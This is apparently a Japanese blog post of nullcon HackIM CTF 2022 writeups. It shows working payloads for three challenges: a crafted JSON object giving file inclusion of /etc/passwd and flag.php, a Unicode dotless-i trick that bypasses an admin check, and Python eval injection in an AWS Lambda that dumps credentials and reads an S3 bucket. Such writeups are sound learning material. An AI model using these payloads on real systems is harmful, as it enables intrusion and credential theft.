はまやんはまやんはまやん

hamayanhamayan's blog

nullcon HackIM CTF 2022 Writeups

[web] Jsonify

この問題解いたら謎の人物から解き方教えてDM来ました。

GET /するとphpコードがもらえる。
改行と空白が消されているのでPHP Beautifierとか使ったり、見た感じで復元する。
なぜこんな面倒なことをしているか分からないが、もしかしたら何かを隠しているのかも…?

if (isset($_GET['show']) && isset($_GET['obj']) && isset($_GET['flagfile']))
{
    $f = secure_unjsonify($_GET['obj'], array(
        'Flag'
    ));
    $f->setFlagFile($_GET['flagfile']);
    $f->readFlag();
    $f->showFlag();
}

このルートを通ってフラグを表示させる。
readFlagとshowFlagを実行する前に

  • $this->flagfileにLFIしたいファイルパスを入れる
    • 入れておくと$this->flag = join("", file($this->flagfile));のようにreadFlagで読まれる
  • $this->isAllowedToSeeFlagをtrueにする
    • 代入する方法がないので、objで入れ込むjson経由で入れ込むしかない

ソースコードを見ながらコネコネpayloadを作る。
flagfileとisAllowdToSeeFlagを入れ込めればいいので、以下のようにやってとりあえず/etc/passwdを抜いてみる。

<?php
class Flag
{
    public $flag;
    public $flagfile;
    public $properties = array();
    public $isAllowedToSeeFlag;
    public function __shutdown()
    {
        return $this->properties;
    }
}

function secure_jsonify($obj)
{
    $data = array();
    $data['class'] = get_class($obj);
    $data['properties'] = array();
    foreach ($obj->__shutdown() as & $key)
    {
        $data['properties'][$key] = serialize($obj->$key);
    }
    return json_encode($data);
}

$ob = new Flag();
$ob->properties = array('flagfile', 'isAllowedToSeeFlag');
$ob->flagfile = "/etc/passwd";
$ob->isAllowedToSeeFlag = true;
$data = secure_jsonify($ob);
echo($data);

{"class":"Flag","properties":{"flagfile":"s:11:\"\/etc\/passwd\";","isAllowedToSeeFlag":"b:1;"}}が出てくるのでこれをobjに渡してやればいい。showとflagfileはなんでもいいので、以下のようにリクエストを送ると無事LFIできることが確認できる。

GET /?show&obj=%7b%22class%22%3a%22Flag%22%2c%22properties%22%3a%7b%22flagfile%22%3a%22s%3a11%3a%5c%22%5c%2fetc%5c%2fpasswd%5c%22%3b%22%2c%22isAllowedToSeeFlag%22%3a%22b%3a1%3b%22%7d%7d&flagfile

これであとはソースコード内に言及のあるflag.phpを取ってくればフラグ獲得
setFlagFileでif (stristr($flagfile, "flag") || !file_exists($flagfile))というチェックが走っているが、今回のルートではチェックされないので問題ない。

GET /?show&obj=%7b%22class%22%3a%22Flag%22%2c%22properties%22%3a%7b%22flagfile%22%3a%22s%3a8%3a%5c%22flag.php%5c%22%3b%22%2c%22isAllowedToSeeFlag%22%3a%22b%3a1%3b%22%7d%7d&flagfile

ENO{PHPwn_1337_hakkrz}

[web] Unis Love Code

GET /ソースコードが与えられる。
無茶苦茶な感じになっているので整形すると、username=adminっぽいのをPOSTで渡せばいいみたいだ。
しかし、抜粋した以下のフィルターを通す必要がある。

username='ADMIN'
check_funcs=["strip","lower"]

def _check_access(self,u):
    for cf in UnisLoveCode.check_funcs:
        if getattr(str,cf)(UnisLoveCode.username)==u:
            return False
    for c in u:
        if c in string.ascii_uppercase:
            return False
    return UnisLoveCode.username.upper()==u.upper()

uにはPOSTで指定したusernameのvalueが入る。
stripはちょっと省略すると、

  • 'ADMIN'.lower() != 入力
  • 入力に大文字を含んではいけない
  • 'Admin'.upper() == 入力.upper()

以上を満たす必要がある。
入力に手を加えているのは最後だけなので、upperで検索してみると、Unicodeならすごい変換が起きるみたい。

SECCON CTF 2021 write-up - プログラム系統備忘録ブログ

adminのどれかで使える文字がないか探すと"ı".upper() == "I"が見つかった。
なので、これを使ってusername=adm%c4%b1nを送るとフラグ獲得。

ENO{PYTH0Ns_Un1C0d3_C0nv3rs1on_0r_C0nfUs1on}

[cloud] Cloud 9*9

POST /calcで計算をさせることができる。
適当に色々試すとエラーを出せる。

"  File \"/var/task/lambda-function.py\", line 5, in lambda_handler
    'result' : eval(event['input'])"

evalに投げている。
{"input":"__import__('os').system('sleep 5')"}こんな感じで投げるとタイムアウトが起こる。
RCEできていそう。
入力を受け取りたいので{"input":"__import__('os').popen('id').read()"}の方を使うことにしよう。

lsするとlambdaのファイルがあるのでcat lambda-function.pyで中身を見てみる。

import json

def lambda_handler(event, context): 
    return { 
            'result' : eval(event['input'])
        #flag in nullcon-s3bucket-flag4 ..
    }

なるほど、OK。S3の方へラテラルムーブメントする必要がありそう。
envを実行して各種認証情報を取り出して来よう。

AWS_SESSION_TOKEN=いろいろ
AWS_SECRET_ACCESS_KEY=いろいろ
AWS_ACCESS_KEY_ID=いろいろ

AWS_SESSION_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEYをそのまま手元の環境でexportして、awsコマンドで探索するとフラグが手に入る。

$ aws s3 ls s3://nullcon-s3bucket-flag4
2022-08-12 05:27:20         40 flag4.txt

$ aws s3 cp s3://nullcon-s3bucket-flag4/flag4.txt .
download: s3://nullcon-s3bucket-flag4/flag4.txt to ./flag4.txt   

$ cat flag4.txt
ENO{L4mbda_make5_yu0_THINK_OF_ENVeryone}